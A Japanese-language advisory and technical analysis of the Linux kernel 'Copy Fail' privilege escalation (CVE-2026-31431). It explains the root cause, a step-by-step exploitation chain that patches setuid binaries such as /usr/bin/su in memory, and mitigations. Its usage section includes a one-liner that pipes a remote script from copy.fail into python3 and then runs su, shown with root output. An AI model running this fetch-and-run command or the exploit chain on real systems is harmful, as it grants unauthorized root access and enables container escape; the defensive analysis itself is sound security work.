
CVE-2026-31431の概念実証エクスプロイト。AF_ALGページキャッシュ書き込みを介したLinuxカーネルのローカル権限昇格であり、主要なディストリビューションでrootを獲得します。
algif_aead ページキャッシュ書き込み("Copy Fail")によるローカル権限昇格
著者: Van Glenndon Enad
最初の発見者: Theori / Xint Code Research Team (Taeyang Lee)
公開日: 2026年4月29日
深刻度: 高
CVSS v3.1 スコア: 7.8
CVSS v3.1 ベクター: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787(領域外書き込み)、CWE-269(不適切な権限管理)
CVE-2026-31431は、一般に "Copy Fail" と呼ばれる、Linuxカーネルの algif_aead モジュール — カーネルのユーザー空間暗号API(AF_ALG)のAEAD暗号インターフェース — における高深刻度のローカル権限昇格(LPE)脆弱性です。この欠陥は、2017年にコミット 72548b093ee3 で導入されたパフォーマンス最適化(インプレース操作)に起因し、AEAD暗号操作中にページキャッシュにバックアップされたファイルページが誤って書き込み可能な宛先scatterlistに配置されることを可能にしました。
AF_ALG ソケット、splice() システムコール、および authencesn アルゴリズムのスクラッチ書き込み動作という3つのカーネルサブシステムを連鎖させることで、権限のないローカルユーザーは 読み取り可能な任意のファイルのページキャッシュへの制御された4バイト書き込み を実行できます。/usr/bin/su などの setuid バイナリを標的にすることで、この書き込みはディスク上のファイルを変更することなくメモリ内の実行可能イメージを破壊し、ディスク上のファイル整合性ツールを回避します。結果として得られる root への権限昇格は 決定的 です — レースコンディションも、ディストリビューションごとのカーネルオフセットも、特別な権限も必要ありません。公開された732バイトのPython PoCエクスプロイトは、Ubuntu、Amazon Linux、RHEL、SUSEで変更なしの単一実行でrootシェルを提供します。
この脆弱性は、ほぼ 9年間 にわたり、すべての主流Linuxディストリビューションに静かに存在してきました。Theoriによると、AF_ALG は事実上すべてのディストリビューションのデフォルトカーネル設定で有効になっており、システムが脆弱になるために特別なビルドフラグや設定は必要ありません。
Linuxカーネルは、AF_ALG ソケットインターフェース(crypto/algif_aead.c)を通じて暗号プリミティブをユーザー空間に公開しています。2017年、algif_aead がAEAD操作を インプレース で実行できるようにするパフォーマンス最適化がマージされました — 不要なデータコピーを避けるために、ソースメモリバッファを宛先として再利用します。
この欠陥は、ユーザー空間が splice() システムコールを介して AF_ALG ソケットに入力を供給したときに発生します。この場合、ソースscatterlistに配置されるページは ページキャッシュページ — スプライスされたファイルをバックアップする共有のカーネル管理メモリ — です。インプレース最適化が req->src = req->dst を設定するため、これらのページキャッシュページは 書き込み可能な宛先scatterlist に含まれることになります。authencesn アルゴリズムはその後、dst[assoclen + cryptlen] でスクラッチ書き込みを実行しますが、これはそれらのページキャッシュページ内のオフセットに解決され、実質的に攻撃者が制御するデータをスプライスされたファイルのメモリ内イメージに書き込むことになります。
ページキャッシュはコンテナを含む ホスト全体で共有 されるため、あるプロセスからの書き込みは、同じカーネル上のすべてのプロセスとコンテナに対してそのファイルのキャッシュページに影響を与えます。
algif_aead.c の問題のある変更は、req->src = req->dst を設定し、sg_chain() を介してソースscatterlistから出力scatterlistにタグページをチェーンしました:
/* 2017年のインプレース最適化 — コミット 72548b093ee3 */
req->src = req->dst; /* ソース == 宛先 */
sg_chain(dst, n + 1, src_tag); /* タグページが書き込み可能なdstにチェーンされる */
splice() を使用してファイルをソケットに供給すると、scatterlistページはページキャッシュにバックアップされたものであり、プライベートな匿名メモリではありません。それらを書き込み可能な dst scatterlistにチェーンすることは、宛先が書き込み可能なプライベートメモリであるという前提に違反します。
authencesn スクラッチ書き込みauthencesn テンプレートは、dst[assoclen + cryptlen] にシーケンス番号のスクラッチ値(seqno_lo、AADのバイト4〜7)を書き込みます。dst にスプライスされたファイルのページキャッシュページが含まれるようになったため、この書き込みはファイルのメモリ内イメージ内の攻撃者が制御するオフセットに着地します:
/* authencesn スクラッチ書き込み — オフセットは assoclen + cryptlen によって決定される */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* ページキャッシュに書き込む */
書き込まれる4バイトは seqno_lo に対応し、攻撃者は sendmsg() を介して送信されるAADペイロードを通じてこれを制御します。
AF_ALG ソケット (SOCK_SEQPACKET)
│
│ splice() — ファイルバックアップページをソケットに配信
▼
algif_aead インプレース最適化
│ req->src = req->dst
│ ページキャッシュページが書き込み可能なscatterlistに含まれる
▼
authencesn スクラッチ書き込み
│ dst[assoclen + cryptlen] に seqno_lo を書き込む
│ = 攻撃者が選択したファイルオフセットに攻撃者が選択した4バイト
▼
ページキャッシュ破損(ディスク上の変更なし)
修正(a664bf3d603d)はインプレース最適化を完全に元に戻します — algif_aead は現在、常に アウトオブプレース で動作し、別の宛先バッファを割り当てます。ソースと宛先が異なるマッピングから取得されるようになったため、src 内のページキャッシュページが dst 書き込みパスによって到達されることは決してありません。
前提条件に明らかに含まれないもの:ネットワークアクセス、カーネルデバッグ機能、CAP_SYS_ADMIN、事前ロードされたカーネルモジュール、または既存のプリミティブ。攻撃面は完全にローカルで自己完結型です。
ステップ 1: 攻撃者が AF_ALG AEAD ソケットを開く (SOCK_SEQPACKET)
│ algif_aead モジュールを自動ロード; rootは不要
▼
ステップ 2: 攻撃者が標的の setuid バイナリ(例:/usr/bin/su)を読み取り用に開く
│ 読み取り権限のみ必要
▼
ステップ 3: splice() が標的ファイルのページを AF_ALG ソケットに転送
│ ページキャッシュページがソースscatterlistに含まれる
▼
ステップ 4: インプレース最適化が発動: req->src = req->dst
│ ページキャッシュページが書き込み可能な宛先scatterlistに入る
▼
ステップ 5: authencesn 復号パスが dst[assoclen + cryptlen] でスクラッチ書き込みを実行
│ 攻撃者は assoclen、cryptlen、および4バイトの seqno_lo 値を制御
▼
ステップ 6: 制御された4バイト上書きが /usr/bin/su のページキャッシュに着地
│ メモリ内バイナリがパッチされる; ディスク上のファイルは変更されない
▼
ステップ 7: 攻撃者が `su` を実行 — 破損したメモリ内イメージがrootとして実行
│ setuidビットは保持; カーネルは攻撃者がパッチしたコードを実行
▼
ステップ 8: rootシェルを取得 — 権限昇格が完了
コンテナ環境では、ステップ6のページキャッシュ破損が ホスト および同じカーネルを共有する すべての兄弟コンテナ に伝播し、完全なコンテナエスケープを可能にします。
PoC(copy_fail_exp.py、732バイト)は、Python 3.10+ の標準ライブラリモジュールのみを使用します:os、socket、zlib。エクスプロイトは、splice() を介してファイルページをステージングした後、AF_ALG ソケットに正確に細工された sendmsg() ペイロードを構築して送信します。
/usr/bin/su ELFパッチデフォルトのPoCは /usr/bin/su を標的にします。4バイトの書き込みは、ELFバイナリのキャッシュされたページ内の特定の命令をパッチします — 特権チェック分岐または uid チェックをno-opまたは無条件ジャンプに置き換える — これにより、su が後で実行されると、setuid 実行環境がパッチされたコードを root として実行します。破損は 非永続的 です:ページの退避または再起動により元のバイナリが復元されます。
典型的なページキャッシュ攻撃(例:Dirty COW)とは異なり、Copy Failは レースコンディションを必要としません。書き込みパスは直線的です:splice() → sendmsg() → スクラッチ書き込み。各呼び出しは決定的かつ同期しており、ハードウェア、カーネルバージョン、ディストリビューションを問わずエクスプロイトを非常に信頼性の高いものにしています。
警告: このPoCは、教育、研究、および許可されたテスト目的のみで提供されています。所有していない、または明示的な書面による許可を得ていないシステムに対して使用しないでください。
標準のPoCはTheoriによって公式リポジトリで管理されています。これは自己完結型の732バイトのPython 3.10+ スクリプトで、外部依存関係はありません。
デフォルトの使用法(/usr/bin/su を標的):
python3 copy_fail_exp.py
カスタムsetuid標的:
python3 copy_fail_exp.py /usr/bin/sudo
ワンライナー(公式サイトから):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
標準PoCのSHA256:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
同じ未変更のスクリプトが、単一のtmuxセッションでUbuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1、およびSUSE 16でrootシェルを達成することが公開デモで実証されています。
最も重大な影響ベクトルは マルチテナント環境 です:共有開発ボックス、Kubernetesワーカーノード、GitHub Actionsセルフホストランナー、GitLab/Jenkins CIエージェント、ノートブックホスティングプラットフォーム、およびユーザー提供コードが通常のユーザーアカウントで実行されるサーバーレス環境。未パッチのカーネルを実行するそのような環境は、コードを実行できる任意のユーザーによって完全に侵害されます。
カーネルをアップグレード して、メインライン修正コミット a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 を含むバージョンに更新します:
algif_aead カーネルモジュールを無効にして、攻撃経路を根本でブロックします:
# 再起動後もブロックを永続化
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# 実行中のカーネルからモジュールをアンロード(ロードされている場合)
rmmod algif_aead
これによって壊れるもの: これは dm-crypt/LUKS、kTLS、IPsec/XFRM、SSH、または標準のOpenSSL/GnuTLS/NSSには 影響しません。
afalgOpenSSLエンジンを明示的に使用する、またはaeadソケットに直接バインドするユーザー空間アプリケーションに影響を与える可能性があります。適用前にlsof | grep AF_ALGで確認してください。
seccomp を介して AF_ALG ソケット作成をブロック — seccompプロファイルの拒否リストに SOCK_SEQPACKET + AF_ALG を追加します。AF_ALG AEADソケット作成を検出するノードレベルのカーネル監査ルールを展開します。AF_ALG SOCK_SEQPACKET ソケットを開く場合にアラート — これはエクスプロイトの必須の最初のステップです。su/sudo 実行と AF_ALG ソケット使用の組み合わせを行動シグナルとして監視します。法的免責事項: この分析と概念実証は、教育、研究、および防御的セキュリティ目的のみで公開されています。著者はコンピュータシステムへの不正アクセスを容認しません。所有していないシステムに対してセキュリティテストを実施する前に、必ず明示的な書面による許可を取得してください。
| コンポーネント | 詳細 |
|---|
| 影響を受けるサブシステム | crypto/algif_aead.c — Linuxカーネル AF_ALG AEADインターフェース |
| 脆弱性が導入された時期 | Linuxカーネル4.14(2017年)、コミット 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| 修正済みバージョン | 6.18.22、6.19.12、7.0 |
| 修正コミット | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| 検証済みディストリビューション | Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1、SUSE 16 |
| 暗黙的に影響を受けるもの | Debian、Arch、Fedora、Rocky、AlmaLinux、Oracle Linux、および2017年以降に構築された未パッチのカーネルを実行するすべてのディストリビューション |
| 要件 | 備考 |
|---|
| ローカルの権限のないユーザーアカウント | 昇格した権限は不要 |
| 2017年以降に構築されたカーネル(≥ 4.14) | 事実上すべての主流ディストリビューションをカバー |
AF_ALG(CONFIG_CRYPTO_USER_API)が有効 | 事実上すべてのディストリビューションのカーネル設定でデフォルト |
algif_aead モジュールがロード可能/ロード済み | 最初の AF_ALG ソケット作成時に自動ロード |
読み取り可能な setuid バイナリが少なくとも1つ | 例:/usr/bin/su、/usr/bin/sudo |
| Python 3.10+(公開PoC用) | 標準ライブラリの os、socket、zlib のみ |
| パラメータ | 攻撃者の制御 | メカニズム |
|---|
| 標的ファイル | 攻撃者が読み取り可能な任意のファイル | splice() に渡される |
| 書き込みオフセット | assoclen + cryptlen | sendmsg() のソケットオプションで設定 |
| 書き込み値(4バイト) | seqno_lo | sendmsg() のAADペイロードのバイト4〜7 |
| カテゴリ | 説明 |
|---|
| 機密性 | root としてホスト上のすべてのファイルへの完全な読み取りアクセス |
| 完全性 | 任意のファイルへの書き込み、バックドアのインストール、/etc/passwd または /etc/shadow の変更が可能 |
| 可用性 | ホストの完全な乗っ取り; サービス妨害が可能 |
| 認証 | ローカルユーザーアカウント以外の資格情報は不要 |
| コンテナエスケープ | ページキャッシュはホスト全体で共有 — ローカルシェルを持つポッドがノードを侵害し、テナント境界を越える可能性 |
| CI/CDパイプライン | セルフホストランナーで実行された信頼できないプルリクエストがランナーホストでrootになる |
| 永続化 | 侵害後の活動: SSHキー注入、cronジョブ、カーネルモジュールのインストール — すべて簡単に達成可能 |
| フォレンジック回避 | ディスク上のバイナリは決して変更されません; ファイル整合性モニター(FIM)、AIDE、Tripwireは変更を検出しません |
| ディストリビューション | 修正済みカーネルバージョン |
|---|
| アップストリームLinux | 6.18.22、6.19.12、7.0 |
| Ubuntu 24.04 LTS | ベンダーパッチ利用可能 — apt update && apt upgrade |
| Amazon Linux 2023 | ベンダーパッチ利用可能 — dnf update kernel |
| RHEL 10.1 | Red Hatパッチ進行中 — AlmaLinuxがアップストリーム修正を出荷 |
| SUSE 16 | ベンダーパッチ利用可能 — zypper update kernel-default |
| 日付 | イベント |
|---|
| 2026-03-23 | TheoriによってLinuxカーネルセキュリティチームに脆弱性が報告される |
| 2026-03-24 | 最初の確認応答を受領 |
| 2026-03-25 | パッチが提案され、カーネルメンテナーによってレビューされる |
| 2026-04-01 | 修正がメインラインにコミットされる(a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431が割り当てられる |
| 2026-04-29 | copy.fail で公開開示; PoCがGitHubで公開 |
| 2026-04-30 | AlmaLinuxがアップストリーム修正を使用してパッチ済みカーネルを出荷 |
| 2026-04-30 | Microsoftセキュリティブログ、Sophos、Sysdig、Bugcrowdが分析を公開 |
| 2026-05-01 | KubernetesコンテナエスケープPoCが公開 |
| 2026-05-02 | 独立した分析とドキュメントが公開 |